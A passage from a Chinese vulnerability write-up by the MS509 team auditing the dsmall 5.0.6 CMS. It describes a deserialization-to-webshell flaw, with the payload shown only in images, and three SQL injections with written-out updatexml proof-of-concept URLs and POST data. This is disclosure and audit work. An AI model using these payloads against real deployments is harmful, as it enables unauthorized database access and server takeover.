14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:宋体;color:#444444;">利用条件：无<br/>Home模块Cart控制器ajax_load 方法中存在用户可以控制的反序列化操作，利用thinkphp5的代码执行反序列化pop chain 可以往目标服务器写文件getshell.</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.29475587703435807" style="width: 553.73px;height: 163.33px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=d907d646&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLGLxoP6co8tFoZlibbAdeYXFBHluGqruZTomSeYib3Sia50jn5b9314Ddg%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:宋体;color:#444444;">生成payload:</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.2875226039783002" style="width: 553.73px;height: 159.13px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=ec3acf34&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLa3XK5LoXUbuElVDiaqh20tMWRADYMj3paMuseoAT8LQknpx9kG2SRqA%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.2870036101083033" style="width: 553.73px;height: 158.93px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=eb47b646&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLFShCs3WDbSicexyBjKdsFvDFibCjlaQT8pQTH0BYticibam5XBq2ibcgJSw%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:宋体;color:#444444;">设置cookie:<br/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.4755877034358047" style="width: 553.73px;height: 263.6px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=79b708da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaML8Nl1WGujkWiaEnqQf1bq4TfSp8Awbia3zPjmxjA9b6KfoJbQn6xXGwbQ%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">Request url:<br/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;"><a href="http://test.com/dsmall506/public/index.php?s=home/cart/ajax_load" target="_blank">http://test.com/dsmall506/public/index.php?s=home/cart/ajax_load</a></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"><br/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.705244122965642" style="width: 553.73px;height: 390.4px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=242782d3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaML9liaSa5OpaL6qw5JQQzVck9NyuicRNkLIo5VOSy9gdwK4mNtiaEGnicZMg%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"><br/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.45306859205776173" style="width: 553.73px;height: 250.8px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=303e33ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLJviaggAgvJsPLshtsSGibfyBd7jmO0iciaSibKtria2xZt0YnsR7fzduz56g%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><h2 style="text-align: justify;margin-left: 0pt;text-indent: 0pt;line-height: 173%;break-after: avoid;font-size: 16pt;font-family: &#34;等线 Light&#34;;margin-top: 16.8pt;margin-bottom: 13.2pt;border-bottom: 1pt solid rgb(238, 238, 238);padding: 0pt;background: rgb(255, 255, 255);"><span style="font-family:Helvetica;color:#444444;">SQL注入漏洞一</span><span style="font-size:18.0pt;line-height:173%;font-family:Helvetica;color:#444444;"></span></h2><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:宋体;color:#444444;">利用条件：后台管理员账户权限<br/>公共模块common/Model/Artcle.php editArticle 和delArticle存在SQL注入漏洞，审计代码只有delArticle函数中的漏洞可被利用。</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.40325497287522605" style="width: 553.73px;height: 222.93px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=a87b2957&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLHohS4uicsl2WgWeIY1AqaXYOnPw0XCKDawZyHg9e81a5PicUJfD7bSOw%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"><br/>\application\admin\controller\Article.php 删除文章功能的Drop方法调用了delArticle 且参数可控，$_GET[artcile_id]==input(‘param.article_id’)<br/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.7256317689530686" style="width: 553.73px;height: 402.27px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=83380e36&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLUlT5zsZIuhzsSthSG5cUZtIqgtQgJPibESicaEE3BshjonREX4nrMTqg%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">Poc:<br/>[</span><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;"><a href="http://test.com//dsmall506/public/index.php/admin/article/drop.html?article_id=42+and%20updatexml(1,concat(0x7e,user()),1)]" target="_blank">http://test.com//dsmall506/public/index.php/admin/article/drop.html?article_id=42+and%20updatexml(1,concat(0x7e,user()),1)]</a></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">(</span><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;"><a href="http://test.com//dsmall506/public/index.php/admin/article/drop.html?article_id=42+and" target="_blank">http://test.com//dsmall506/public/index.php/admin/article/drop.html?article_id=42+and</a></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"> updatexml(1,concat(0x7e,user()),1))<br/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.2115732368896926" style="width: 553.73px;height: 116.87px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=a57b717c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLtrXvdZh4P0ibpj0TkiaFF7SgCUkEApyPFqAKmsHAAa7Ip5ffyTiaWzU4A%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><h2 style="text-align: justify;margin-left: 0pt;text-indent: 0pt;line-height: 173%;break-after: avoid;font-size: 16pt;font-family: &#34;等线 Light&#34;;margin-top: 16.8pt;margin-bottom: 13.2pt;border-bottom: 1pt solid rgb(238, 238, 238);padding: 0pt;background: rgb(255, 255, 255);"><span style="font-family:Helvetica;color:#444444;">SQL注入漏洞二</span><span style="font-size:18.0pt;line-height:173%;font-family:Helvetica;color:#444444;"></span></h2><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:宋体;color:#444444;">利用条件：后台管理员权限</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:宋体;color:#444444;">公共模块 Goodsclasstag.php delGoodsclasstagByIds 函数存在SQL注入漏洞。</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">application\common\model\Goodsclasstag.php</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.13200723327305605" style="width: 553.73px;height: 72.93px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=e254847f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLoqwj7pvfRjj22x79zxIuSZngdDXFGZvwXRWsxQ7bgM6DU2jaNsRMDQ%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:宋体;color:#444444;">在Admin 控制器tag方法中对delGoodsclasstagByIds函数进行了调用，参数使用thinkphp封装函数input获取，类型是一个数组</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">aplication\admin\controller\Goodsclass.php</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">public function tag()</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.18625678119349007" style="width: 553.73px;height: 102.73px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=b1d33a03&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLOyK8UWuibwy9icjYic7wvS7iahkvKe6ppqysUbawaYEzvbV5ibv5bU8HQVg%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"><br/>Poc:<br/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;"><a href="http://test.com/dsmall506/public/index.php?s=admin/goodsclass/tag" target="_blank">http://test.com/dsmall506/public/index.php?s=admin/goodsclass/tag</a></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"><br/>Data:<br/>tag_id[0]= 1 and updatexml(1,user(),1)&amp;submit_type=del<br/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.5649819494584838" style="width: 553.73px;height: 312.87px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=4681883b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLoAolQIxwSkDydfbQbjDA0p0QR03lnjo5PZ2PlicXMWxE8x8ATJoTSSQ%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"><br/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.2833935018050541" style="width: 553.73px;height: 157.27px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=03cd5ee4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLBdZBJZg2UyEHTfZMe62SjDvbMzgOxMWmkPpl6A4ic3iaZhJp7fRR3eXg%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><h2 style="text-align: justify;margin-left: 0pt;text-indent: 0pt;line-height: 173%;break-after: avoid;font-size: 16pt;font-family: &#34;等线 Light&#34;;margin-top: 16.8pt;margin-bottom: 13.2pt;border-bottom: 1pt solid rgb(238, 238, 238);padding: 0pt;background: rgb(255, 255, 255);"><span style="font-family:Helvetica;color:#444444;">SQL注入漏洞三</span><span style="font-size:18.0pt;line-height:173%;font-family:Helvetica;color:#444444;"></span></h2><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:宋体;color:#444444;">利用条件：无<br/>Home模块shopnearby控制器get_Own_Store_List方法存在SQL注入漏洞。<br/>变量 $lat和$lng使用input 函数来获取，其实就是 $_GET或$_POST的值，这个函数是thinkphp封装的获取请求值函数。获取之后直接拼接传入where(),where()函数是thinkphp封装的函数，官方推荐使用 where(array[])来对用户数据进行处理比较安全，如果直接作为字符串参数传入该函数，那么对参数就需要用户自己进行过滤或转移处理，否则直接带入数据库进行查询，这是thinkphp官方文档的开发说明，而这里并没有按照官方文档说明来做，也没有进行转移或过滤，故造成SQL注入。</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">application\home\controller\Shopnearby.php<br/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.34177215189873417" style="width: 553.73px;height: 189px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=481d8337&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLr0tSWWg2q2HJOWphKnEG9wjPicP1wUtdHnQW99HoEPuhueiby90wYpUA%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;">Poc:<br/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;"><a href="http://test.com/dsmall506/public/index.php/home/Shopnearby/get_Own_Store_List?latitude=updatexml(1,concat(0x7e,user()),1)&amp;longitude=1" target="_blank">http://test.com/dsmall506/public/index.php/home/Shopnearby/get_Own_Store_List?latitude=updatexml(1,concat(0x7e,user()),1)&amp;longitude=1</a></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"><br/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.22202166064981949" style="width: 553.73px;height: 123.33px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="jpeg" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=63bdac72&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLcct8xVguEibXw1wprAtblHdrvwuiaehh5p3hy2horno6fPMhv12AjO2A%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><section style="line-height: 25.6px;white-space: normal;box-sizing: border-box;background-color: rgb(255, 255, 255);"><section style="box-sizing: border-box;"><section style="margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;"><section style="padding: 2px;display: inline-block;box-sizing: border-box;background-color: rgb(0, 0, 0);"><section style="margin-right: 5px;padding-right: 8px;padding-left: 8px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">0x05</span></section></section><section style="padding-right: 5px;padding-left: 5px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;"><section style="box-sizing: border-box;"><span style="font-size: 20px;">结语</span></section></section></section></section></section></section><p><br/></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"> 自从 2018 BlackHat Sam Thomas分享了利用phar文件触发反序列化研究之后，大大扩展了反序列化漏洞的攻击面，在审计cms的时候除了关注unserialize作为source之外，也应该重点关注这些能够利用phar文件反序列利用的函数，而对于php反序列化漏洞挖掘和利用（包括fuzz sink function 和pop chain find）期待下篇文章吧。</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:11.5pt;font-family:Helvetica;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.3186046511627907" style="width: 553.73px;height: 176.4px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="860" src="https://wechat2rss.xlab.app/img-proxy/?k=658463d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaML6HOL1yfOmUnmuDVGKTqeDYfuCLEhXE4ibbb5EW3QjxH48kRbh3cNeHA%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:11.5pt;font-family:Helvetica;color:#444444;"></span></p><blockquote style="margin-top: 5px;margin-bottom: 5px;padding-top: 5px;padding-right: 10px;padding-bottom: 5px;border-width: 0px;border-style: none;border-color: initial;color: rgb(51, 51, 51);line-height: 24px;font-size: 14px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;font-family: 微软雅黑;background-color: rgb(241, 241, 241);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(12, 137, 24);box-sizing: border-box !important;overflow-wrap: break-word !important;">版权声明：</span></strong></blockquote><p style="margin-top: 5px;margin-bottom: 5px;padding: 5px 10px;max-width: 100%;min-height: 1em;letter-spacing: 0.544px;white-space: normal;color: rgb(62, 62, 62);font-family: 微软雅黑;font-size: 14px;line-height: 24px;border-width: 0px;border-style: initial;border-color: initial;background-color: rgb(241, 241, 241);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(102, 102, 102);box-sizing: border-box !important;overflow-wrap: break-word !important;">本文由<strong style="color: rgb(62, 62, 62);letter-spacing: 0.544px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(102, 102, 102);box-sizing: border-box !important;overflow-wrap: break-word !important;">团队成员</span></strong>flytart@MS509原创，已于2020-4-24发表于“安全客”，转载请注明来源</span></strong></p><section style="max-width: 100%;box-sizing: border-box;line-height: 25.6px;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin-top: 10px;margin-bottom: 10px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="padding-right: 1em;padding-left: 1em;max-width: 100%;box-sizing: border-box;display: inline-block;text-align: center;overflow-wrap: break-word !important;"><span style="padding: 0.3em 0.5em;max-width: 100%;box-sizing: border-box;display: inline-block;border-radius: 0.5em;font-size: 14.08px;color: rgb(255, 255, 255);background-color: rgb(24, 141, 42);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">MS509简介：</span></section></span> </section><section style="margin-top: -1em;padding: 20px 10px 10px;max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgb(192, 200, 209);text-align: center;background-color: rgb(239, 239, 239);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;text-align: left;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 24px;white-space: pre-wrap;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span><em style="white-space: normal;"><em><em style="max-width: 100%;color: rgb(62, 62, 62);font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 24px;white-space: pre-wrap;box-sizing: border-box !important;overflow-wrap: break-word !important;">MS509是中国电子科技网络信息安全有限公司（简称“中国网安”）旗下从事安全漏洞挖掘及利用方法研究的纯技术研究团队，研究方向包括WEB安全、红蓝对抗、移动安全、逆向分析、二进制安全、智能硬件（IOT）安全、工控安全、无线安全、APT攻击追踪溯源、安全编程等。</span></em></em></em></em><strong style="max-width: 100%;line-height: 24px;white-space: pre-wrap;box-sizing: border-box !important;overflow-wrap: break-word !important;"></strong></em><span style="max-width: 100%;color: rgb(255, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">更多团队动态，尽在博客www.ms509.com；微博搜索 MS509。</strong></em></em></span></section><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(255, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">加入我们：<a href="https://www.ms509.com/contact/" target="_blank">https://www.ms509.com/contact/</a></strong></em></em></span></section></section></section></section></section></section></section></section><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><section style="max-width: 100%;line-height: 25.6px;border-width: 0px;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;text-align: center;border-width: 0px;border-style: solid;border-color: rgb(0, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;display: inline-block;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;width: 21em;border-width: 0px;border-style: solid;border-color: rgb(0, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="__bg_gif" data-ratio="0.532" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: auto !important;" data-type="gif" data-w="500" width="auto" src="https://wechat2rss.xlab.app/img-proxy/?k=f64bf6ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD3Wj7oTjFmiaDo7D4jQgfeIPmdz4nc0ndM0T4dvLW5NpN7vzZs7eUsDzJQ38oWic3ickec4N848AicAvQ%2F640%3Fwx_fmt%3Dgif"/></section><section style="margin-top: -10.5em;margin-left: 0.8em;max-width: 100%;width: 8em;height: 8em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img data-ratio="1" data-s="300,640" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: auto !important;" data-type="jpeg" data-w="258" src="https://wechat2rss.xlab.app/img-proxy/?k=9b636feb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD3Wj7oTjFmiaDo7D4jQgfeIP3WSctzWffhLdFjx0W28oHbAQiaqtW7zYu7kGO75vdZZT69TR7iapNpNw%2F640%3Fwx_fmt%3Djpeg"/><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section></section></section></section><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="white-space: normal;max-width: 100%;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, 